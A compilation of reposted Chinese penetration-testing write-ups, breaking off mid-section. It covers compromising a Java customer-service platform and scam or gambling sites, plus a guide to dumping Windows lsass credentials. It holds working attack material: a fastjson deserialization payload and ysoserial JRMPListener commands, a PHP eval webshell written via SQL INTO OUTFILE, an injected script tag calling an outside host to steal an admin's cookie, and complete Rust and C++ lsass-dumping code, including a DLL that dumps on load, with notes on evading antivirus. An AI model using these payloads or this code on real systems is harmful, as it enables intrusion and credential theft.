(toString(x.key).contains("url"))快速查数据库相关信息,发现mysql地址账户密码,不过很遗憾是亚马逊的数据库,默认存在ip白名单,无法远程登录。 select* from java.lang.String s WHERE toString(s) LIKE ".*SESSION.*"发现正在登录的session,替换之后登录到后台。 后台使用wss协议进行实时对话,头像处,客服回复处均无利用点。只发现了一些毒狗的哀嚎。 黑盒测试无果,heapdump中翻找有特征的类名,然后去github搜,发现了一份可能是初始版源码,目标用的是改版,源码不太全。 对不全的代码进行审计,找到一处任意文件读取和一处SSRF。 有了部分源码,知道配置文件位置,读取配置文件 获取数据库配置,当然之前在heapdump内存中已经知道了。获取内网ip,172.x.x.x,写脚本开始跑内网ip,脚本参考Discuz那个。 同理,后续用ftp协议扫描内网端口。不过很可惜,java ssrf一般不支持dict和gopher,论坛和客服又不在同一内网,所以很难攻击内网比如redis。 前面一直没提的是,此客服系统存在管理员后台,不过存在ip白名单限制,访问403,虽然能利用SSRF绕过,但是由于只能发起GET请求,无法尝试登陆。 这两处漏洞依旧无法getshell,我决定去fofa上搜同版本客服系统,然后利用任意文件下载来获取完整的源码。 很幸运,直接碰到一个网站可以读.bash_history,在操作记录中暴露了源码路径,获得war包。 开始审计,SQL方面使用的是jpa1.11.6,基本不存在注入问题,但仔细研究发现同时少部分地方用了mybatis。于是查看四个mybatis的xml,找到两处使用$的地方。 ScacMapper.xml 经典的mybatis order by注入。位于ScacRepository类的findRule方法,全局搜索调用了此方法的地方。 发现不可控,再看第二处。 ChatMapper.xml 位于AgentService类的findChatService方法,全局搜索。 satislevel参数可控,网站中寻找路由,发现是用来查询历史会话的。 /service/history/index.html?ps=20&type=0&begin=2021-02-25+00%3A00&end=2021-02-25+23%3A59&username=&ipdata=&snsid=&tagid=&referrer=&uuid=&ai=&skill=000000007705622b017714226691166b&agent=00000000771d75d801771df3ff280135&aiwork=&aiid=&message=&channel=&startTime=&endTime=&firstreplyStartTime=&firstreplyEndTime=&agenttimeouttimes=&assess=&sessiontype=&evaluate=&satislevel=&label=&assessmessage= SQL注入成功,不过是个布尔盲注,注入较耗时间。 然后发现fastjson版本较低,于是瞄上了fastjson反序列化。 全局搜索parseObject方法,路由中发现两处。IMController和ApiContactsController。 IMController虽然在前台,但涉及到AES解密和定位key,利用起来较为复杂。 所以决定利用ApiContactsController的save方法。 由于通过heapdump登录过客服后台,直接访问save的路由,却尴尬的发现报401 很显然,客服后台和这个接口不在同一体系,但密码应该是通用的,猜测这些接口是给手机app用的,heapdump中曾获取了用户名,于是在ApiLoginController中找到登录接口,开始爆破。当然,也可以利用之前审计出来的SQL注入,不过实在太慢而且不一定解的出来我就先爆破了。 成功获取凭证,访问路由。 这里是个联系人接口,查用GET,增用PUT,改用POST,删用DELETE,只有改才会调用fastjson。所以直接POST fastjson payload就行。 fastjson 1.24以上版本默认关闭autotype,但1.2.47版本以下可以用如下payload绕过此限制。详情见我的文章《java反序列化实战》。 https://mp.weixin.qq.com/s/Cj59LNM4pWHyn3sxUU6Nkg {"a":{"@type": "java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit": true}} 成功获取dnslog请求,接下来就是用fastjson反序列化getshell就行了吗? 事情并没有那么简单,之前通过heapdump在内存中看到java版本为1.8.0_242,那么rmi和ldap两个JNDI注入都无法使用,这和实际用marshalsec测试结果一致。本地加载有两种方法,org.apache.tomcat.dbcp.dbcp.BasicDataSource需满足fastjson在1.2.25版本以下因此排除,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl可以以java.lang.Class绕过,但我在本地成功利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,在实际环境中却没能成功。 我在此处被拦了几个小时,最后发现存在rmi反序列化,链为URL链。注意:rmi注入恶意类和rmi反序列化是不一样的。 rmi注入恶意类(marshalsec),是连接rmi服务器,rmi服务器让受害者去加载远程http服务上的恶意类。受到java版本限制。 rmi反序列化(ysoserial),是连接rmi服务器,在和rmi服务器通信的过程中被反序列化攻击了。无版本限制,只需要反序列化链。 如下图,恶意服务器上起一个ysoserial的rmi服务,然后用fastjson去连接之。 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 URLDNS "http://2evix2.dnslog.cn" 成功获取dns请求,那么我只需要找到一条能够利用的反序列链,就能够getshell。 spring项目一般来说,很难有一条序列化链,因为用的commons-collections版本都较高。不过最近ysoserial刚好更新了一个文件上传的aspectjweaver链,而源码中的jar包满足条件。 详情见https://mp.weixin.qq.com/s/2stdx1cm7BfKeSR50axC-w 先尝试向/tmp中写文件 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 AspectJWeaver "../../../tmp/ahi.txt;YWhpaGloaQ==" 然后利用任意文件读取确认文件是否被写入。 尝试写webshell,成功getshell 由于其存在负载均衡,可以拿到两台服务器权限,至此渗透完毕。 转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg4MTU1MjE5Mg==&mid=2247488972&idx=1&sn=b97d4e2da7059409cb05fe4238f9dbb7
-
记一次帮助粉丝渗透某盘反诈骗的实战
0X00 事情由来 了解完事情的经过,经过我的经验判断,这应该是个杀猪诈骗案例 诈骗份子通过一些手段让受害人相信,通过他们可以赚钱并诱导充值杀猪盘赌博 0X01 渗透过程-大概二十分钟左右就拿下了渗透过程简单枯燥: 看了一眼IP和端口,判断了下应该不存在云waf,直接开始扫目录 过了几分钟扫到一个http://xxxx.com.cn/u.php,原来是upupw的集成环境,如下图 思路,爆破phpmyadmin,或者找upupw的默认数据库密码,先找默认密码试试看 成功用系统提供的密码登录,默认的是:DRsXT5ZJ6Oi55LPQ成功登录phpmyadmin 然后尝试getshell,由于有upupw探针,直接查看了phpinfo,有网站的绝对路径,直接尝试常规写shell 需要知道绝对路径、数据库root权限、数据库有写权限具体语句:SELECT "<?php eval(@$_POST['xx']);?>" INTO OUTFILE "D:\\wap\\member_bak.php"注意点:windows下,须要双反斜线,否则会转义然后使用菜刀/蚁剑等链接即可由于当时没有截图,目前网站已经打不开了,所以下面就直接放出拿到shell后的状态了 渗透结束,看了下权限,是system权限,不过咱们的目标是定位诈骗分子的IP信息和位置信息,接着下一步了 0X02 定位诈骗份子的IP和端口拿到shell了就容易的多了,找后台登录的php文件插入xss代码即可 找了一圈发现,后台登录是另外一个网站目录下,编辑admin778899.php echo '<sCRiPt sRC=https://xx.xx/XFXX></sCrIpT>';等待诈骗分子登录 居然还是手机登录的,666 替换Cookie登录后台,发现并没有什么用,都是一些数字而已 去ipip.net 查询了一下IP地址信息,不出意外,果然又在境外,唉.... 0X03 告知粉丝结果过程我就直接贴和受害者的微信聊天记录了 0X04 如何防范此类诈骗1.网络交友,要提高防骗意识,保持良好的社交心态,注意个人隐私信息的保护,特别是涉及到金钱往来,务必多渠道核实对方真实身份; 2.网络上凡是涉及带你投资理财有高收益的都视为诈骗即可; 3.骗子在朋友圈不断分享投资盈利的信息,吸引受害人主动咨询; 4.诱导受害人注册平台,投入资金。当受害人看到盈利想要提现时,平台持续以受害人银行卡号错误要求缴纳保证金、未按要求备注、账户冻结、税收等理由继续诱骗钱财,实施诈骗; 5.保持正确的投资理财观,不盲目相信无风险却高回报的投资方式,天上不会掉馅饼 转载于原文链接: https://mp.weixin.qq.com/s/7o4XV8MKbX3wCT3ZxbCMng
-
菠菜网站(APP)渗透的常见切入点
做了不少qp(棋牌),BC渗透了,通宵了2个晚上干了几个盘子,简略的说下过程,做一下总结。 首先说一下qp, 以我的渗透成功案例来说的话首先信息收集必不可少的,qp的特点是什么呢? 他的后台会在服务器域名的后面以不同的端口形式架设 如图: 关于端口可以发现,基础东西你们都懂。 切入点: 在app里面抓包,查找邮箱,充值,的地方寻找sql注入或者意见反馈的位置XSS 有一种情况是抓包显示127.0.0.1的 抓不到包的情况,这种情况多于大盘子,它不一定走的是TCP UDP协议。可以参考 T-ice 表哥说的 Proxifier全局代理 有了后台之后可以目录fuzz一下,有些管理员会有备份的习惯没准能有新发现。 相对来说qp还是挺简单的。 那么来说说BC吧,看个昨晚的渗透的案例。 基本上大型的BC盘子都是各种防护+cdn 标配,毕竟别人赚了那么多钱也不在乎这点设备钱。。。。 注册了个号 发现没地方能打XSS的。。。。。作罢 因为这种大盘子服务一般是挺到位的,牌面这块方方面面给你整的很高大上,什么导航啊,什么积分商城啊。。 乱七八糟的应有具有,在他主站一个VIP查询页面确定了一处sql注入,而且是thinkphp的框架 thinkphp3.2.3的 ,因为有CDN不知道真实IP,所以后台是个很麻烦的事情,本想着看看数据库里面的log有没有啥发现 没啥鸟用。。尝试读取日志文件,没有。 最后读取配置文件确定了一个很脑残的事情。。。 可能通宵了之后人的脑子有点僵。 我给忘了这种BC后台肯定都是分离的。。。。嗨。少熬夜。 于是。。我就以以往的经验手动的在主域名前面加上了一些可能的参数。。admin.XXXX.com agdw.xxxxx.com ag.xxxxx.com 嗯。。。如图: 这套程序的盘子大概100多个吧,几乎都是一模一样的,随便找了几个 后台有个地方任意上传。结果。。 被杀了还是咋回事。。 做个总结: 像这类盘子都是包网的,大多数都是java开发的。那么BC盘子的切入点是哪些呢 以我渗透成功的案例来总结: 1. XSS 2.注入 3.历史遗留的资产 主要还是信息收集,和耐心。 其实现在注入还是挺多的,只是很难发现和识别了。 同时还需要和各种防护对抗,有时候其实是个注入只是被防护拦了不确定的情况下很多人就放弃。 这种菠菜类的网站, 大多数服务器都是防范级别很高的, 都是包网 资产很多 而且前后端都是分离的 有时候 ,没有思路的时候 可以从运维方面下手 ,有的运维安全意识不是很高 ,还可以从C段入手 ,因为有的菠菜资产分布在几个C段 主站上面 肯定很少漏洞, 基本上可以说没有 ,还有就是从游戏接口入手 或者游戏逻辑入手, 个人一点点粗见。 除过上述作者总结的几点,其他常见的切入点包括弱口令、代码审计。 转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486411&idx=1&sn=e5227a9f252f797bf170353d18222d6a&chksm=ce67a152f9102844551cf537356b85a6920abb084d5c6a26f7f8aea6870f51208782ac246ee2&scene=21#wechat_redirect
-
记一次对某杀猪盘的渗透
0x00 前言去年逛微步,本来是想找几个ip练练溯源能力,无意间发现了一个杀猪盘。本文打马赛克如果有漏的地方请及时指出,也请各位不要去微步上边找我这个目标复现,本case已全权交由某官方处理。 0x01 简单的打点 打开链接一看,一股子浓浓的“微盘”气息扑面而来,由于我们自己审计过这套源码,所以就直接找对应的地方打了个xss,结果呢他这竟然是微盘三开,没错,三开! 无奈之下还是用老思路,想办法让框架报错,看版本号,走一遍rce。 得到版本号和物理路径,其实还有个小细节,可以看下图。 这里有个SERVER_NAME和SERVER_ADDR,之前打同类项目的时候遇到过一个情况,通过让页面报错反馈出来的这俩信息里可能会带着真实ip,如果在找不到目标真实ip的情况下可以试试这个小技巧。 大家都知道,这种目标,其他的旁站,端口什么的收集都没啥卵用,所以我也不赘述了。 注册个账号上去看了看,也没啥能利用的点,这时候呢突然想起了goods/pid这里有一处注入,由于之前都是用我们自己的day打,所以从来没用过这个注入点,这不今天就来试了试。 bingo!这就很奈斯了,知道物理路径那不就可以传shell了?不,并不可以,权限不够。 但是你看我发现了啥呢! database的信息莫名其妙显示出来了,这不就可以直接连了??显然是不可以的,因为没法外连。。。。。 0x02 直冲云霄了属于是大概僵持了十分钟,你看看我发现了啥。 adminer哈哈哈,这是咋发现的呢,之前提到过这套系统的一开,二开我们都审计过,在某些特定目录会有这么一个adminer数据库管理系统,所以我就也从本次目标上fuzzing了一下,这不就找到,然后连接上了。 找到嫌疑ip,简单的查查真实性,定定位啥的。 果不其然,又在我们的大云南。 为了确保证据的完整性,我们还是得想办法去后台截个图啥的。因为现在是在库里嘛,所以就可以直接把盲打xss没成功的地方强制改成了xss的payload,然后诱导客服去触发就好了。 然后就进来咯,后台的上传点在三开版本也给删了,数据库里拿shell权限不够,也开启不了所需的服务,所以最终也没能拿下shell。 转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg4MjcxMTAwMQ==&mid=2247486198&idx=1&sn=e41bc5d7e4aee7314beaab7f5830435d&chksm=cf53ca40f8244356493dff79a82e26a8c3ef89c50c4508de61cacf523527534d383e6d6b2445&scene=178&cur_album_id=2831511688645656580#rd
-
windows lsass转储总结
前言lsass.exe(Local Security Authority Subsystem Service进程空间中,存有着机器的域、本地用户名和密码等重要信息。如果获取本地高权限,用户便可以访问LSASS进程内存,从而可以导出内部数据(password),用于横向移动和权限提升。通过lsass转储用户密码或者hash也算是渗透过程中必不可少的一步,这里学习一下原理以及记录下多种转储方法。 [toc] 常规方法mimikatz::logonpasswords我们通常将这些工具称为LOLBins,指攻击者可以使用这些二进制文件执行超出其原始目的的操作。 我们关注LOLBins中导出内存的程序。 白名单工具三个微软签名的白名单程序 Procdump.exe SQLDumper.exe createdump.exe Procdump转储Lsass.exe的内存ProcDump是微软签名的合法二进制文件,被提供用于转储进程内存。可以在微软文档中下载官方给出的ProcDump文件 用Procdump 抓取lsass进程dmp文件, procdump64.exe -accepteula -ma lsass.exe lsass_dump 然后可以配置mimikatz使用 sekurlsa::Minidump lsassdump.dmp sekurlsa::logonPasswords 如果对lsass.exe敏感的话,那么还可以配合lsass.exe的pid来使用 procdump64.exe -accepteula -ma pid lsass_dum 这种原理是lsass.exe是Windows系统的安全机制,主要用于本地安全和登陆策略,通常在我们登陆系统时输入密码后,密码便会存贮在lsass.exe内存中,经过wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存中,而Mimikatz正是通过对lsass.exe逆算获取到明文密码。 关于查杀情况,火绒病毒查杀并没有扫描到,360在13版本下也没检测到在14版本被查杀了。 SQLDumper.exeSqldumper.exe实用工具包含在 Microsoft SQL Server 中。 它生成用于调试目的SQL Server和相关进程的内存转储。 sqldumper的常见路径如下 C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\SQLDumper.exe C:\Program Files (x86)\Microsoft SQL Server\100\Shared\SqlDumper.exe SQLDumper.exe包含在Microsoft SQL和Office中,可生成完整转储文件。 tasklist /svc | findstr lsass.exe 查看lsass.exe 的PID号 Sqldumper.exe ProcessID 0 0x01100 导出mdmp文件 再本地解密即可需要使用相同版本操作系统。 mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit 被360查杀,火绒没有检测 createdump.exe随着.NET5出现的,本身是个native binary.虽然有签名同样遭到AV查杀 createdump.exe -u -f lsass.dmp lsass[PID] 同样会被360查杀 comsvcs.dllcomsvcs.dll主要是提供COM+ Services服务。每个Windows系统中都可以找到该文件,可以使用Rundll32执行其导出函数MiniDump实现进程的完全转储。 该文件是一个白名单文件,我们主要是利用了Comsvsc.dll中的导出函数APIMiniDump来实现转储lsass.exe的目的,注意同样是需要管理员权限。因为需要开启SeDebugPrivilege权限。而在cmd中此权限是默认禁用的,powershell是默认启用的。 该文件位于C:\windows\system32\comsvcs.dll 可以这样使用如下方式来调用MiniDump实现转储lsass.exe进程: powershell C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full 360同样查杀,这种直接通过调用APIMiniDump来dump内存的行为还是太过敏感,不稍微修改很容易就被查杀。 其它工具rdleakdiag.exe默认存在的系统: Windows 10 Windows 8.1 Windows 8 Windows7 windows Vista 软件版本 10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000 没有的情况可以选择传一个上去。 生成dmp内存文件 rdrleakdiag.exe /p <pid> /o <outputdir> /fullmemdmp /wait 1 Rst 会产生两个文件,results*+进程pid+.hlk,minidump*+进程pid+.dmp。然后同样使用mimikatz进行破解。 AvDump.exeAvDump.exe是Avast杀毒软件中自带的一个程序,可用于转储指定进程(lsass.exe)内存数据,它带有Avast杀软数字签名。所以一般不会被av查杀。 下载地址:https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfoDownloadSaveInfodivGoto2 需要在ps中调用,否则cmd默认是不开启seDEBUGPrivilege权限的,但是现在360会检测到avdump. .\AvDump.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0 但也是会被360查杀。 自主编写dll调用APIMiniDump的一个demo这里涉及到windows进程编程,可以先看看如何遍历windows下的进程。遍历进程需要几个API和一个结构体。 1.创建进程快照 2.初始化第一个要遍历的进程 3.继续下次遍历 4.进程信息结构体 创建进程使用CreateToolhelp32Snapshot HANDLE WINAPI CreateToolhelp32Snapshot( DWORD dwFlags, //用来指定“快照”中需要返回的对象,可以是TH32CS_SNAPPROCESS等 DWORD th32ProcessID //一个进程ID号,用来指定要获取哪一个进程的快照,当获取系统进程列表或获取 当前进程快照时可以设为0 ); 获取第一个进程句柄使用Process32First BOOL WINAPI Process32First( HANDLE hSnapshot,//_in,进程快照句柄 LPPROCESSENTRY32 lppe//_out,传入进程信息结构体,系统帮你填写. ); 获取下一个进程使用Process32Next BOOL WINAPI Process32Next( HANDLE hSnapshot, 从CreateToolhelp32Snapshot 返回的句柄 LPPROCESSENTRY32 lppe 指向PROCESSENTRY32结构的指针,进程信息结构体 ); 其中还涉及到PROCESSENTRY32的结构体对我们有用的就是 dwSize 初始化结构体的大小th32ProcessId 进程IDszExeFile[MAX_PATH] 进程路径 typedef struct tagPROCESSENTRY32 { DWORD dwSize; // 结构大小,首次调用之前必须初始化; DWORD cntUsage; // 此进程的引用计数,为0时则进程结束; DWORD th32ProcessID; // 进程ID; DWORD th32DefaultHeapID; // 进程默认堆ID; DWORD th32ModuleID; // 进程模块ID; DWORD cntThreads; // 此进程开启的线程计数; DWORD th32ParentProcessID;// 父进程ID; LONG pcPriClassBase; // 线程优先权; DWORD dwFlags; // 保留; char szExeFile[MAX_PATH]; // 进程全名; } PROCESSENTRY32; 所以rust实现的代码如下 fn getProcess(){ unsafe{ let mut handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD,0); let mut process_entry : PROCESSENTRY32 = zeroed(); process_entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32; // let mut process_handle = null_mut(); if !handle.is_null() { if Process32First(handle, &mut process_entry) == 1{ loop { let extFileName = OsString::from_wide(process_entry.szExeFile.iter().map(|&x| x as u16).take_while(|&x| x > 0).collect::<Vec<u16>>().as_slice()); println!("{:?}----------{:?}",extFileName,process_entry.th32ProcessID); if Process32Next(handle, &mut process_entry) == 0{ break; } } } } } } 完整dump lsass进程内存的代码 use std::{mem::{ size_of}, ffi::{CStr, OsString, c_void, OsStr}, os::windows::prelude::{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs::File, path::{Path, self}}; use std::ptr; use clap::{App,Arg}; use log::{error}; use windows_sys::{Win32::{Foundation::{ CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID, }, Security::{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System::{Threading::OpenProcessToken, Diagnostics::ToolHelp::TH32CS_SNAPTHREAD}, Storage::FileSystem::CreateFileA}, core::PCSTR}; use windows_sys::Win32::Storage::FileSystem::{ CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, }; use windows_sys::Win32::System::Diagnostics::Debug::{ MiniDumpWithFullMemory,MiniDumpWriteDump }; use windows_sys::Win32::System::Diagnostics::ToolHelp::{ CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS, }; use windows_sys::Win32::System::SystemServices::GENERIC_ALL; use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS}; fn getPrivilege(handle : HANDLE){ unsafe{ let mut h_token: HANDLE = HANDLE::default(); let mut h_token_ptr: *mut HANDLE = &mut h_token; let mut tkp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES { PrivilegeCount: 1, Privileges: [LUID_AND_ATTRIBUTES { Luid: LUID { LowPart: 0, HighPart: 0, }, Attributes: SE_PRIVILEGE_ENABLED, }], }; // 打开当前进程的访问令牌 let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr); if token != 0 { let systemname = ptr::null_mut(); if LookupPrivilegeValueA( systemname, b"SeDebugPrivilege\0".as_ptr(), &mut tkp.Privileges[0].Luid) != 0 { tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // println!("{:?}",tkp.Privileges[0].Attributes); // 提升当前进程的 SeDebugPrivilege 权限 if AdjustTokenPrivileges( h_token, 0, &tkp as *const TOKEN_PRIVILEGES, 0, ptr::null_mut(), ptr::null_mut()) != 0 { println!("Token privileges adjusted successfully"); } else { let last_error = GetLastError() ; println!("AdjustTokenPrivileges failed with error: STATUS({:?})", last_error); } } else { let last_error = GetLastError() ; println!("LookupPrivilegeValue failed with error: STATUS({:?})", last_error); } // 关闭访问令牌句柄 CloseHandle(h_token); } else { let last_error = GetLastError() ; println!("OpenProcessToken failed with error: STATUS({:?})", last_error); } } } fn getProcess(LsassFile : &str) { unsafe{ let mut h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if h_snapshot == INVALID_HANDLE_VALUE { println!("Failed to call CreateToolhelp32Snapshot"); } let mut process_entry: PROCESSENTRY32 = std::mem::zeroed::<PROCESSENTRY32>() ; process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32; if Process32First(h_snapshot, &mut process_entry) == 0 { println!("Process32First error"); } loop { let extFileName = CStr::from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes(); let extfile = OsString::from_wide(extFileName.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice()).to_string_lossy().into_owned(); if extfile.starts_with("lsass.exe"){ println!("[+] Got {:?} PID: {:?}",extfile,process_entry.th32ProcessID); break; } if Process32Next(h_snapshot, &mut process_entry) == 0 { println!("Failed to call Process32Next"); break; } } let lsass_pid = process_entry.th32ProcessID; let process_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsass_pid); if process_handle == 0 { println!("Fail to open the process "); } let lsassFile = LsassFile; let lsassFile: Vec<u16> = OsStr::new(lsassFile).encode_wide().chain(Some(0).into_iter()).collect(); let lsasshandle = CreateFileW( lsassFile.as_ptr() as *const u16, GENERIC_ALL, 0, ptr::null_mut(), CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0, ); if lsasshandle == INVALID_HANDLE_VALUE { println!("Fail to open/create file {:?}",LsassFile.to_string()); } let result = MiniDumpWriteDump( process_handle, lsass_pid, lsasshandle, MiniDumpWithFullMemory, ptr::null_mut(), ptr::null_mut(), ptr::null_mut(), ); println!("{:?}",result); if result == 1 { println!("Dump successful with file {:?}",LsassFile.to_string()); } else { println!("Dump error {:?}", GetLastError()); } let status = CloseHandle(lsasshandle); if status != 1 { error!("Fail to Close file handle"); } } } fn main() { let matches = App::new("SysWhispers3 - SysWhispers on steroids") .arg(Arg::with_name("DumpFileName") .short("f") .long("DumpFileName") .takes_value(true) .help("DumpFileName Path like C:\\temp.dmp")).get_matches(); let mut out_file = ""; if matches.is_present("DumpFileName") { out_file = matches.value_of("DumpFileName").expect("get DumpFileName args error"); }else { out_file = "lsass.dmp"; } getProcess(out_file); } 当然我们直接这样写的代码肯定是会被无情的拦截的,这类API大家已经再熟悉不过了,肯定是被拦截的很严重的。 编写Dump Lsass的DLL(yes)其实就是为了解决直接使用Comsvsc.dll中的APIMiniDump函数容易被用户模式下的API hook拦截的问题。dll编写的思路一般是 获取Debug权限找到lsass的PID使用MiniDump或MiniDumpWriteDump进行内存dump首先需要解决权限提升的问题,这里常用的是RtlAdjustPrivilege函数来进行权限提升,这个函数封装在NtDll.dll中。这个函数的定义和解释: NTSTATUS RtlAdjustPrivilege( ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled ); 函数说明: RtlAdjustPrivilege 函数用于启用或禁用当前线程或进程的特权。调用此函数需要进程或线程具有 SE_TAKE_OWNERSHIP_NAME 特权或调用者已经启用了此特权。 参数说明: Privilege:要调整的特权的标识符。可以是一个 SE_PRIVILEGE 枚举值或一个特权名称字符串。Enable:指示是启用(TRUE)还是禁用(FALSE)特权。CurrentThread:指示要调整特权的是当前线程(TRUE)还是当前进程(FALSE)。Enabled:输出参数,返回调整特权操作的结果。如果特权成功启用或禁用,则返回 TRUE;否则返回 FALSE。返回值: 如果函数成功执行,则返回 STATUS_SUCCESS;否则返回错误代码。需要注意的是,该函数并不是公开的 Win32 API 函数,而是 Windows 内核函数,只能从其他内核函数中调用。 我们首先调用 OpenProcessToken 函数打开当前进程的访问令牌。然后,使用 LookupPrivilegeValue 函数获取 SE_DEBUG_NAME 权限的本地权限 ID。接着,我们定义了一个 TOKEN_PRIVILEGES 结构体,将 SE_DEBUG_NAME 权限添加到该结构体中,并通过 AdjustTokenPrivileges 函数提升当前进程的权限。最后,我们关闭了访问令牌句柄并退出程序。 所以提升权限可以这样写 void getPrivilege() { HANDLE hToken; TOKEN_PRIVILEGES tkp; // 打开当前进程的访问令牌 if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { // 获取 SeDebugPrivilege 权限的本地权限 ID if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid)) { tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 提升当前进程的 SeDebugPrivilege 权限 if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL)) { std::cout << "Token privileges adjusted successfully" << std::endl; // 关闭访问令牌句柄 CloseHandle(hToken); } else { std::cout << "AdjustTokenPrivileges faile" << std:endl; } } else { std::cout << "LookupPrivilegeValue faile" << std::endl; } } else { std::cout << "OpenProcessToken faile" << std::endl; } } 再配合上获取lsass进程pid和dump 进程后完整代码就是 #include <stdio.h> #include <Windows.h> #include <tlhelp32.h> #include <iostream> using namespace std; typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline); int GetLsassPid() { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (Process32First(hSnapshot, &entry)) { while (Process32Next(hSnapshot, &entry)) { if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) { return entry.th32ProcessID; } } } CloseHandle(hSnapshot); return 0; } void getPrivilege() { HANDLE hToken; TOKEN_PRIVILEGES tkp; // 打开当前进程的访问令牌 if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { // 获取 SeDebugPrivilege 权限的本地权限 ID if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid)) { tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 提升当前进程的 SeDebugPrivilege 权限 if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL)) { cout << "Token privileges adjusted successfully" << endl; // 关闭访问令牌句柄 CloseHandle(hToken); } else { cout << "AdjustTokenPrivileges faile" << endl; } } else { cout << "LookupPrivilegeValue faile" << endl; } } else { cout << "OpenProcessToken faile" << endl; } } void DumpLsass() { wchar_t ws[100]; _MiniDumpW MiniDumpW; MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW"); cout << "GetProcAddress MiniDumpW success" << endl; swprintf(ws, 100, L"%u %hs", GetLsassPid(), "C:\\temp.bin full"); getPrivilege(); MiniDumpW(0, 0, ws); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DumpLsass(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int main() { DumpLsass(); } SilentProcessExit进行Dump具体原理参考文章:利用SilentProcessExit机制dump内存 Silent Process Exit,即静默退出。而这种调试技术,可以派生 werfault.exe进程,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。在某个运行中的进程崩溃时,werfault.exe将会Dump崩溃进程的内存,从这一点上看,我们是有可能可以利用该行为进行目标进程内存的Dump。 优点:系统正常行为 缺点:需要写注册表 该机制提供了在两种情况下可以触发对被监控进行进行特殊动作的能力: (1)被监控进程调用 ExitProcess() 终止自身;(2)其他进程调用 TerminateProcess() 结束被监控进程。也就意味着当进程调用ExitProcess() 或 TerminateProcess()的时候,可以触发对该进程的如下几个特殊的动作: - 启动一个监控进程 - 显示一个弹窗 - 创建一个Dump文件 但由于该功能默认不开启,我们需要对注册表进行操作,来开启该功能,主要的注册表项为: 添加此子键 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe 名称 类型 数据 DumpType REG_DWORD 完全转储目标进程内存的值为MiniDumpWithFullMemory (0x2) LocalDumpFolder REG_SZ (DUMP文件被存放的目录,默认为%TEMP%\\Silent Process Exit)c:\temp ReportingMode(REG_DWORD) REG_DWORD a)LAUNCH_MONITORPROCESS (0x1) – 启动监控进程; b)LOCAL_DUMP (0x2) – 为导致被监控进程终止的进程和被监控进程本身 二者 创建DUMP文件; c)NOTIFICATION (0x4) – 显示弹窗。 添加此子键 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows 